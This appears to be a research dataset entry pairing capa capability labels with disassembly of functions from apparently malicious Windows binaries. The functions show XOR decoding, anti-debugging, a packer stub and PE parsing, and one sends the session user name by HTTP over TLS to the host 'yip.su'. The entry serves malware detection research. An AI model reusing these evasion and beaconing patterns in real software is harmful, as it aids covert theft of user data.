joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e55ab
Capabilities:
Encode data using xor

Disassembly:
loop 0x6e55a2
pop ebx
mov edi, 0x1ecbe8c2
sbb eax, 0x245c8900
mov dword [esp + 0x10], ebx
movsx bx, bl
push 0x1298f588
call fcn.0080102f
jmp 0x90e3be
pushfd
pop dword [esp]
pushal
xor edi, 0xaa9bd4e4
test cl, 0xda
clc
xor ebx, 0x3c9ff4bd
cmc
call fcn.008fb07a
hlt
call fcn.0082ae6c
mov cl, 0x16
jb 0x6e55ea
mov dword [0x138f622], eax
mov word [eax], fs
arpl word [ebx - 0x14], di
inc ebp
ficomp word [eax]
imul ebx, dword [esi], 0x345a5f7e
pop edi
sbb byte [ecx + 0x1e], ch
jle 0x6e5624
pop edx
xor al, 0x5f
cdq
loop 0x6e55c0
loop 0x6e556f
add edx, edi
fcomp qword [edx]
and byte [bx + di + 0x7d], bh
add dword [0xdc344200], edx
inc ebp
inc edx
and ah, al
fdivr dword [eax - 0x44f1ec1]
dec esp
in al, 0x17
inc eax
sub ch, byte [ebp + 0x6f]
rol ebp, cl
push ecx
mov fs, word [edx]
outsd dx, dword [esi]
daa
clc
cmp al, ah
retf 0xa6f0
invalid

Function at 0x77498d
Capabilities:
Execute anti-debugging instructions

Disassembly:
bt bp, cx
test al, 0x2d
mov eax, edi
rol dx, 0xe
call fcn.007957bb
bt ebp, 3
clc
mov word [esp], 0x5e87
xor edx, edx
stc
mov dword [esp], edx
cmc
pushfd
xchg dword [esp], eax
sub dl, dl
jnp 0x61f9b0
mov eax, edi
bts dx, sp
shld dx, bx, 0xc
cdq
test bl, bl
pushfd
stc
cmc
add eax, dword [esp + 4]
mov byte [esp], cl
push eax
pushfd
push dword [esp]
adc edx, dword [esp + 0x14]
pushfd
cmp eax, esi
test dl, dl
pushfd
add esp, 0x20
cmp al, 0x88
cmc
test eax, 0xe55ff096
push edx
jmp 0x7f3382
push eax
aaa
aad 0x8a
mov eax, dword [ebp - 0x1c]
call fcn.00627425
xor eax, 0x30a8038e
xchg byte [eax - 0x3f7577c6], bh
sub ebx, edx
invalid

Function at 0x7bfd5a
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dword [esp + 4]
lea esp, [esp + 0x14]
jb 0x846a9c

Function at 0x7c6c18
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 8], bl
mov ebx, dword [ebx + 0x214cfb]
pushal
lea ebx, [ebx - 0x3bf0faeb]
call fcn.007bd56e

Function at 0x7fff84
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xfdbdf394
dec ebx
xchg bl, al
cdq
dec dword [esi + 0x28]
lea esp, [esp + 4]
pushfd
seta dh
pushal
rdtsc
mov byte [ebp - 1], 1
lea esp, [esp + 0x24]
mov eax, dword [esi + 0x28]
mov byte [esp], 0x14
pushfd
add esp, 8
jp 0x870e59
cmp edi, eax
call fcn.007f3369
cmc
jmp 0x8c14eb
test ah, al
stc
cmp edi, eax
pushfd
lea esp, [esp + 4]
jae 0x7bfd78
movzx dx, dl
movsx dx, bl
dec eax
pushfd
mov edx, edi
pushal
cmc
cmp edi, eax
mov word [esp + 4], 0xd28f
mov dword [esp + 0x10], ebx
lea esp, [esp + 0x24]
jae 0x7bfd68
cmp bl, dh
bsr cx, bx
lea ecx, [edi + edi*2]
shr edi, cl
inc di
inc di
and al, bl
add ecx, ecx
lahf
add ecx, ecx
aas
movzx ax, dl
bswap ax
mov eax, dword [esi + 0x20]
clc
mov edi, dword [eax + ecx + 0xc]
push 0xc9b3f6b5
mov byte [esp], al
test di, 0x20f
pushal
add eax, ecx
call fcn.008a4ca0

Function at 0x82a129
Capabilities:
Encode data using xor

Disassembly:
push 0x4eefa2f6
jmp 0x6c08e8
add eax, 4
pushfd
adc edx, 0
jmp 0x69c042
Function at 0x846a82
Capabilities:
Execute anti-debugging instructions

Disassembly:
push esi
lea esp, [esp + 0x38]
jae 0x7bfd68
rcr ah, cl
lea ecx, [edi + edi*2]
not eax
add ecx, ecx
ror edi, 0x1d
stc
add ecx, ecx

Function at 0x8a6c94
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 0x20]
je 0x67926a
jmp 0x8e6c90
bswap bx
pop esi
pop esi
xchg bx, bp
call fcn.006715e2
pushal
mov dword [ebp - 0xc], eax
cmc
clc
test si, bx
clc
test eax, eax
jmp 0x6c86f1

Function at 0x8dde71
Capabilities:
Authenticate hmac

Disassembly:
lea ebp, [ebp + 0x709dff7f]
pushfd
mov word [esp + 8], si
call fcn.0071f037
mov eax, 0x1fd7dc05
pop ecx
pop esi
rcr dword [edx - 0x42], 1
mov ebx, 0xd2881e6d
mov dword [0x20f20dcb], eax
jae 0x8ddf0d
aad 0x3a
add dh, byte [ebp - 0x31]
jecxz 0x8ddef5
sar byte [ecx + 0x2e0c9cef], cl
sbb dword [ebx - 0x18cabc05], edi
push edi
dec ecx
ror byte [esi], 1
mov byte [0xb4886312], al
inc ebx
aad 0xd2
xor dword [edi - 0x5cb585c4], edx
adc eax, 0x6cfcce88
and al, 0x75
dec eax
pop edx
cmp byte [edx - 0x7071716f], al
sbb al, 0x4d
sbb bl, byte [eax + eax - 0x3e]
xor eax, 0x6c6faebb
sbb ebp, eax
xchg ebp, eax
mov edi, 0x7d47d70e
rcl dword [edi], 0xae
fmul st(7), st(0)
dec ecx
invalid
out dx, al
cmp bl, byte [edi + 0x6f3b3b4c]
sbb byte [edi + eax*2], ch
pop ebp
dec edx
in al, dx
mov edx, 0x6db0769c
push 0xffffffffffffffb0
ficomp word [ecx - 0x1f62b980]
neg ebp
aad 0x48
aam 0x6a
pop esp
push 0x5c
mov ebp, 0x680ffad3
push cs
stosd dword es:[edi], eax
xchg dword [edx + 0x564908f], edx
nop
mov ebp, 0x738bde3a
sbb eax, 0xd47d417c
mov ebp, dword [esi + 0xa]
push cs
or ebx, dword [0xba23f9fc]
cmp eax, 0xaf22f763
xchg esp, eax
cdq
sbb byte [ebp - 0xc], al
out 0x36, al
pop ecx
inc ebx
dec esp
push eax
sub eax, 0xfc227717
stc
and dh, bh
sti
xor byte [edx + 0x5c], bl
add esi, dword [edx + 0x34]
outsb dx, byte [esi]
jg 0x8ddeee
inc edi
lcall 0xd26d, 0x71c46bd6
les ecx, [edx]
cmp byte [edx - 0x6a], al
das
mov byte [esi + ecx*4 + 0x46], al
int 0xca
dec edi
outsb dx, byte [esi]
loope 0x8ddf74
in eax, dx
mov byte [esi + 0x347718c9], cl
inc esp
and esi, ebp
sbb eax, 0x9aaa309f
sbb byte [ebx], bl
popal
mov eax, 0x87306ab3
in eax, dx
lahf
std
and byte [edx], cl
mov bl, 0x8c
ret
Function at 0x91395d
Capabilities:
Encode data using xor

Disassembly:
xchg dword [edx + 0x5b18296], ebx
mov dword [0xe857be7b], eax
retf 0xb7fc
mov dword [esp + 4], ecx
push edx
push dword [esp]
pushfd
lea esp, [esp + 0x10]
call fcn.0068a350
call fcn.007e3d8e
pop es
movsd dword es:[edi], dword [esi]
in al, dx
lodsd eax, dword [esi]
xor dword [edi + 0x236180a1], edx
jl 0x913904
cmc
sbb esp, 0x62
jae 0x9139de
xor byte [eax + 0x13], bh
xchg edx, eax
dec eax
invalid
xchg ecx, eax
scasd eax, dword es:[edi]
mov eax, dword [ebx + ebx*4 - 0x69508f53]
mov word [edi - 0x6a], fs
push 0xfffffffffffffff4
clc
sub byte [ebx], ch
in al, dx
scasd eax, dword es:[edi]
je 0x913a50
test byte [ebp - 0x11], cl
mov eax, 0x6ff2ed03
mov edx, 0x814dfb6c
enter 0x53d9, 0xffffffffffffffc8
mov dl, 0xfe
enter 0x137, 0x70
wait
sub al, bh
inc eax
add byte ds:[ebx + edi*8], dl
int1
sub eax, 0xcba72fe0
push esi
enter 0x162, 0x4c
in eax, 0x61
push ebx
test al, 0x1c
push es
adc dword [ebx], ecx
cli
invalid
invalid

Function at 0x924e7d
Capabilities:
Access peb ldr_data

Disassembly:
lea esp, [esp + 0x28]
call fcn.004380d4
inc cl
not edx
or cl, 0xfd
inc cl
sub eax, eax
rcl cx, 0xc
pushfd
pushfd
rcr dl, 3
mov edx, dword [esp + 8]
setge cl
dec cx
mov ecx, dword [esp + 0xc]
bsr cx, di
bt ecx, edx
mov ecx, dword [esp + 0x10]
pushal
mov dword fs:[eax], edx
adc eax, ebp
sub eax, 0xaee92ddf
not ah
clc
mov dword [esp + 0x30], 0x8cadd7
clc
rol ah, 5
sal al, cl
ror ax, cl
mov eax, dword [ebp - 0x28]
test cx, 0x7b4b
clc
mov dword [ebp - 0x84], eax
bt di, 1
test bl, dl
sub eax, eax
call fcn.005addf9
Function at 0x406877
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40689b
xor eax, eax
test eax, eax
je 0x4068ae
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068ae
xor ecx, ecx
jmp 0x4068b1
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4069d4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a65ec], 0
push esi
jne 0x406a0b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4069e5
mov dword [ecx*4 + 0x7a65e8], eax
inc ecx
cmp ecx, 0x100
jl 0x4069e0
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a3c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a65e8]
xor eax, esi
inc ecx
dec edx
jne 0x406a1e
pop edi
not eax
pop esi
ret 0xc

Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
mov al, byte [ecx + section..data]
sub al, 2
xor al, cl
add al, cl
rol al, 1
xor al, 0x9d
rol al, 1
xor al, 0xcb
sub al, 0x68
ror al, 3
sub al, 0x33
rol al, 1
add al, cl
mov byte [ecx + section..data], al
inc ecx
cmp ecx, 0x1a05
jb 0x10001002
push 0
push 0
push section..data
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401160
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_select]
mov esi, ecx
lea ecx, [ebp - 8]
mov dword [ebp - 0x110], 1
push ecx
push 0
mov eax, dword [esi + 0x21c]
lea ecx, [ebp - 0x110]
push 0
mov dword [ebp - 0x10c], eax
inc eax
push ecx
push eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call edi
cmp eax, 1
jne 0x401230
mov ebx, dword [sym.imp.WS2_32.dll_recv]
nop word [eax + eax]
mov ecx, dword [esi + 0x248]
mov eax, 0x4400
push 0
sub eax, ecx
push eax
lea eax, [ecx + 0x258]
add eax, esi
push eax
push dword [esi + 0x21c]
call ebx
test eax, eax
je 0x401226
cmp eax, 0xffffffff
je 0x401215
add dword [esi + 0x248], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x110]
push eax
mov eax, dword [esi + 0x21c]
inc eax
push eax
call edi
cmp eax, 1
je 0x4011c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x20c], 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x20c], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401240
Capabilities:
Connect socket
Get client handle via schannel
Get outbound credentials handle via credssp
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
xorps xmm0, xmm0
push 0x4658
movlpd qword [ebp - 0x10], xmm0
call fcn.0040c1d2
add esp, 4
mov esi, eax
push 0x4658
push 0
push esi
call fcn.004074a0
add esp, 0xc
mov dword [esi + 0x210], str.yip.su
lea eax, [ebp - 0xb0]
push 0x1bb
push 0x429a04
push 0x40
push eax
call fcn.00401120
add esp, 0x10
mov word [esi + 0x244], 0x101
lea eax, [ebp - 0x240]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401343
mov dword [ebp - 0x30], eax
xorps xmm0, xmm0
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x34]
movlpd qword [ebp - 0x24], xmm0
push eax
lea eax, [ebp - 0xb0]
movlpd qword [ebp - 0x1c], xmm0
push eax
push str.yip.su
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40133a
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [esi + 0x21c], edi
cmp edi, 0xffffffff
je 0x40133a
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x401358
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push esi
call fcn.0040bf31
mov eax, dword [ebp - 0x10]
add esp, 4
mov edx, dword [ebp - 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push dword [eax + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4013ab
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x4013bb
cmp eax, 0x2734
je 0x4013bb
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push dword [esi + 0x21c]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call fcn.0040bf31
mov eax, dword [ebp - 0x10]
add esp, 4
mov edx, dword [ebp - 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov dword [ebp - 4], 0
push 0x38
lea eax, [ebp - 0x6c]
mov dword [esi + 0x20c], 2
push 0
push eax
call fcn.004074a0
add esp, 0xc
mov dword [ebp - 0x6c], 4
lea eax, [esi + 0x220]
mov dword [ebp - 0x3c], 0x400030
mov dword [ebp - 0x4c], 0xc00
push 0
push eax
push 0
push 0
lea eax, [ebp - 0x6c]
push eax
push 0
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push 0
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x40138a
mov eax, esi
pop edi
cdq
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401900
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [esi + 0x20c], 0
lea ebx, [esi + 0x228]
jl 0x4019e5
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 1
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
push eax
push ebx
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 1
call dword [sym.imp.Secur32.dll_ApplyControlToken]
push 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 2
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
push eax
push 0
push 0
push 0x811c
push 0
push ebx
lea eax, [esi + 0x220]
mov dword [ebp - 0xc], 1
push eax
mov dword [ebp - 4], 0x811c
call dword [sym.imp.Secur32.dll_InitializeSecurityContextA]
test eax, eax
jne 0x4019d7
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
test ebx, ebx
je 0x4019ca
push 0
push ebx
push edi
push dword [esi + 0x21c]
call dword [sym.imp.WS2_32.dll_send]
add edi, eax
sub ebx, eax
jne 0x4019b1
mov edi, dword [ebp - 0x14]
push edi
call dword [sym.imp.Secur32.dll_FreeContextBuffer]
lea ebx, [esi + 0x228]
push 2
push dword [esi + 0x21c]
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
lea eax, [esi + 0x220]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
push dword [esi + 0x21c]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi]
test eax, eax
je 0x401a3c
mov edi, dword [ebp + 0xc]
jle 0x401a2d
dec eax
mov dword [esi], eax
mov eax, dword [esi + 4]
mov edi, dword [esi + eax*4 + 0x10c]
inc eax
and eax, 0x8000003f
jns 0x401a2a
dec eax
or eax, 0xffffffc0
inc eax
mov dword [esi + 4], eax
push edi
call fcn.0040bf31
mov eax, dword [esi]
add esp, 4
test eax, eax
jne 0x401a0e
push esi
call fcn.0040bf31
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Encrypt data via sspi
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x443c
call fcn.00406850
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 8], ebx
mov esi, ecx
mov dword [ebp - 4], ecx
cmp dword [edi + 0x20c], 0
jle 0x401ba6
test ebx, ebx
je 0x401b7c
mov eax, dword [edi + 0x238]
lea ecx, [ebp - 0x443c]
cmp ebx, eax
mov dword [ebp - 0x2c], 7
mov edx, ebx
mov dword [ebp - 0x20], 1
cmovge edx, eax
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x443c]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x28], eax
mov eax, dword [edi + 0x230]
add ecx, eax
mov dword [ebp - 0x30], eax
add eax, edx
push edx
push esi
push ecx
lea eax, [ebp + eax - 0x443c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 0x234]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], eax
call fcn.00406f00
add esp, 0xc
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push 0
push eax
push 0
lea eax, [edi + 0x228]
push eax
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
jne 0x401b9c
mov ebx, dword [ebp - 0x24]
xor esi, esi
add ebx, dword [ebp - 0x18]
add ebx, dword [ebp - 0x30]
je 0x401b64
push 0
mov eax, ebx
sub eax, esi
push eax
lea eax, [ebp - 0x443c]
add eax, esi
push eax
push dword [edi + 0x21c]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jg 0x401b5b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x401b5b
cmp eax, 0x2734
jne 0x401b85
add esi, edi
mov edi, dword [ebp + 8]
cmp esi, ebx
jne 0x401b25
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
add esi, dword [ebp - 0xc]
sub ebx, dword [ebp - 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
jne 0x401a82
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax + 0x20c], 0xffffffff
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
mov dword [edi + 0x20c], 0xffffffff
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402350
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4213cf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.004038c3
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x4023db
push eax
push esi
call fcn.004050d2
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.00403a13
int3
Function at 0x402a90
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x510
push esi
push edi
call fcn.00401240
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.00401420
add esp, 8
cmp eax, 3
je 0x402ac9
test eax, eax
js 0x402b29
push edi
push esi
call fcn.00401420
add esp, 8
cmp eax, 3
jne 0x402ab6
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x101
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x10]
push eax
push str.yip.su
lea eax, [esp + 0x120]
push str.GET__2k1x85_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nConnection:_close_r_n_r_n
push eax
call fcn.004010e0
push edi
push esi
mov edx, eax
lea ecx, [esp + 0x130]
call fcn.00401a50
add esp, 0x18
push edi
push esi
test eax, eax
jns 0x402b32
call fcn.00401900
call fcn.00402bc0
push eax
call fcn.00402e60
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00401900
add esp, 8
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404ac1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x404ae2
jl 0x404ad9
test edi, edi
jne 0x404ae2
xor eax, eax
xor edx, edx
jmp 0x404ba3
cmp dword [ebx + 0x38], 0
je 0x404af7
push eax
push edi
push dword [ebp + 8]
call fcn.00404ba9
jmp 0x404ba3
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x404b3e
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x404b3e
cmp eax, edi
jb 0x404b18
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00406f00
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x404b44
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x404b98
mov ecx, ebx
call fcn.00404310
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x404b83
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040cdfc
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x404b98
jmp 0x404b56
test edx, edx
je 0x404b98
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040cdfc
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4064e7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406526
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406526
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406526
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406526
cmp dword [ecx + 0x74], 0xe
jbe 0x406526
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x413aa4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425eb0
push 0x425ea8
push str.FlsAlloc
push 0x1f
call fcn.0041390f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x413ad8
push dword [ebp + 8]
mov ecx, esi
call dword [0x422198]
call esi
jmp 0x413ade
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x413b22
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425ec0
push 0x425eb8
push str.FlsGetValue
push 0x21
call fcn.0041390f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x413b59
push dword [ebp + 8]
mov ecx, esi
call dword [0x422198]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x413b61
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425ec8
push 0x425ec0
push str.FlsSetValue
push 0x22
call fcn.0041390f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x413b9b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x422198]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]